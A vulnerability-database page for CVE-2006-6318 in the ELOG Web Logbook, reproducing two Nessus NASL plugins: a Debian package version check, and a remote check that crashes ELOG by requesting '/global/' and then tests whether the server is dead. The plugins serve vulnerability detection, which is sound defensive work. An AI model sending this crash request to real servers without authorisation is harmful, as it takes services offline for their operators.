Vulnerabilities > CVE-2006-6318 - Denial Of Service vulnerability in ELOG Web Logbook ELogD Server

#%NASL_MIN_LEVEL 80502

#
# (C) Tenable Network Security, Inc.
#
# The descriptive text and package checks in this plugin were  
# extracted from Debian Security Advisory DSA-1242. The text 
# itself is copyright (C) Software in the Public Interest, Inc.
#

include("compat.inc");

if (description)
{
  script_id(23947);
  script_version("1.17");
  script_cvs_date("Date: 2019/08/02 13:32:20");

  script_cve_id("CVE-2006-5063", "CVE-2006-5790", "CVE-2006-5791", "CVE-2006-6318");
  script_xref(name:"DSA", value:"1242");

  script_name(english:"Debian DSA-1242-1 : elog - several vulnerabilities");
  script_summary(english:"Checks dpkg output for the updated package");

  script_set_attribute(
    attribute:"synopsis", 
    value:"The remote Debian host is missing a security-related update."
  );
  script_set_attribute(
    attribute:"description", 
    value:
"Several remote vulnerabilities have been discovered in elog, a
web-based electronic logbook, which may lead to the execution of
arbitrary code. The Common Vulnerabilities and Exposures project
identifies the following problems :

  - CVE-2006-5063
    Tilman Koschnick discovered that log entry editing in
    HTML is vulnerable to cross-site scripting. This update
    disables the vulnerable code.

  - CVE-2006-5790
    Ulf Harnhammar of the Debian Security Audit Project
    discovered several format string vulnerabilities in
    elog, which may lead to execution of arbitrary code.

  - CVE-2006-5791
    Ulf Harnhammar of the Debian Security Audit Project
    discovered cross-site scripting vulnerabilities in the
    creation of new logbook entries.

  - CVE-2006-6318
    Jayesh KS and Arun Kethipelly of OS2A discovered that
    elog performs insufficient error handling in config file
    parsing, which may lead to denial of service through a
    NULL pointer dereference."
  );
  script_set_attribute(
    attribute:"see_also",
    value:"https://security-tracker.debian.org/tracker/CVE-2006-5063"
  );
  script_set_attribute(
    attribute:"see_also",
    value:"https://security-tracker.debian.org/tracker/CVE-2006-5790"
  );
  script_set_attribute(
    attribute:"see_also",
    value:"https://security-tracker.debian.org/tracker/CVE-2006-5791"
  );
  script_set_attribute(
    attribute:"see_also",
    value:"https://security-tracker.debian.org/tracker/CVE-2006-6318"
  );
  script_set_attribute(
    attribute:"see_also",
    value:"http://www.debian.org/security/2006/dsa-1242"
  );
  script_set_attribute(
    attribute:"solution", 
    value:
"Upgrade the elog package.

For the stable distribution (sarge) these problems have been fixed in
version 2.5.7+r1558-4+sarge3.

The upcoming stable distribution (etch) will no longer include elog."
  );
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");

  script_set_attribute(attribute:"plugin_type", value:"local");
  script_set_attribute(attribute:"cpe", value:"p-cpe:/a:debian:debian_linux:elog");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:debian:debian_linux:3.1");

  script_set_attribute(attribute:"patch_publication_date", value:"2006/12/27");
  script_set_attribute(attribute:"plugin_publication_date", value:"2006/12/30");
  script_set_attribute(attribute:"vuln_publication_date", value:"2006/09/25");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_copyright(english:"This script is Copyright (C) 2006-2019 Tenable Network Security, Inc.");
  script_family(english:"Debian Local Security Checks");

  script_dependencies("ssh_get_info.nasl");
  script_require_keys("Host/local_checks_enabled", "Host/Debian/release", "Host/Debian/dpkg-l");

  exit(0);
}


include("audit.inc");
include("debian_package.inc");


if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
if (!get_kb_item("Host/Debian/release")) audit(AUDIT_OS_NOT, "Debian");
if (!get_kb_item("Host/Debian/dpkg-l")) audit(AUDIT_PACKAGE_LIST_MISSING);


flag = 0;
if (deb_check(release:"3.1", prefix:"elog", reference:"2.5.7+r1558-4+sarge3")) flag++;

if (flag)
{
  if (report_verbosity > 0) security_hole(port:0, extra:deb_report_get());
  else security_hole(0);
  exit(0);
}
else audit(AUDIT_HOST_NOT, "affected");

#
#	This script was written by Justin Seitz <[email protected]>
#	Per Justin : GPLv2
#


include("compat.inc");

if(description) {
	script_id(23652);
	script_version("1.15");

	script_cve_id("CVE-2006-6318");
	script_bugtraq_id(21028);

	name["english"] = "ELOG Web LogBook global Denial of Service";
	summary["english"] = "Tries to crash the remote service.";
	family["english"] = "CGI abuses";

	script_name(english:name["english"]);
 script_set_attribute(attribute:"synopsis", value:
"The remote web server is affected by a denial of service issue." );
 script_set_attribute(attribute:"description", value:
"The remote web server is identified as ELOG Web Logbook, an open
source blogging software. 

The version of ELOG Web Logbook installed on the remote host is
vulnerable to a denial of service attack by requesting '/global' or
any logbook with 'global' in its name.  When a request like this is
received, a NULL pointer dereference occurs, leading to a crash of the
service." );
 script_set_attribute(attribute:"see_also", value:"https://seclists.org/fulldisclosure/2006/Nov/196" );
 script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?67c4b2ac" );
 script_set_attribute(attribute:"see_also", value:"https://midas.psi.ch/elogs/Forum/2053" );
 script_set_attribute(attribute:"solution", value:
"Upgrade to ELOG version 2.6.2-7 or later." );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P");
 script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
 script_set_attribute(attribute:"exploit_available", value:"true");
 script_set_attribute(attribute:"plugin_publication_date", value: "2006/11/20");
 script_set_attribute(attribute:"vuln_publication_date", value: "2006/11/09");
 script_set_attribute(attribute:"plugin_modification_date", value:"2020/06/12");
 script_set_attribute(attribute:"plugin_type", value:"remote");
 script_end_attributes();

	script_summary(english:summary["english"]);

	script_category(ACT_DENIAL);
	script_copyright(english:"This script is Copyright (C) 2006-2011 Justin Seitz");

	script_family(english:family["english"]);

	script_dependencies("http_version.nasl");
	script_require_ports("Services/www", 8080);
	exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");

#
#
#	Verify we can talk to the web server either on port 8080 (the default).
#
#

port = get_http_port(default:8080, embedded:TRUE);
if(!get_port_state(port)) exit(0, "TCP port "+port+" is closed.");
if (http_is_dead(port:port)) exit(1, "The web server on port "+port+" is already dead.");

#
#
#	Verify its ELOG and send the DOS if it is.
#
#

banner = get_http_banner(port:port);
if (isnull(banner))
  exit(1, "Cannot read the HTTP banner on port "+port+".");
if ("Server: ELOG HTTP" >!< banner)
 exit(0, "The web server on port "+port+" is not ELOG.");

	uri = "/global/";
	attackreq = http_get(port:port, item:uri);
	attackres = http_send_recv(port:port, data:attackreq);

	#
	#
	#	Try to connect to the web server, if you can't you know its busted.
	#
	#

	if(http_is_dead(port:port))
		security_warning(port);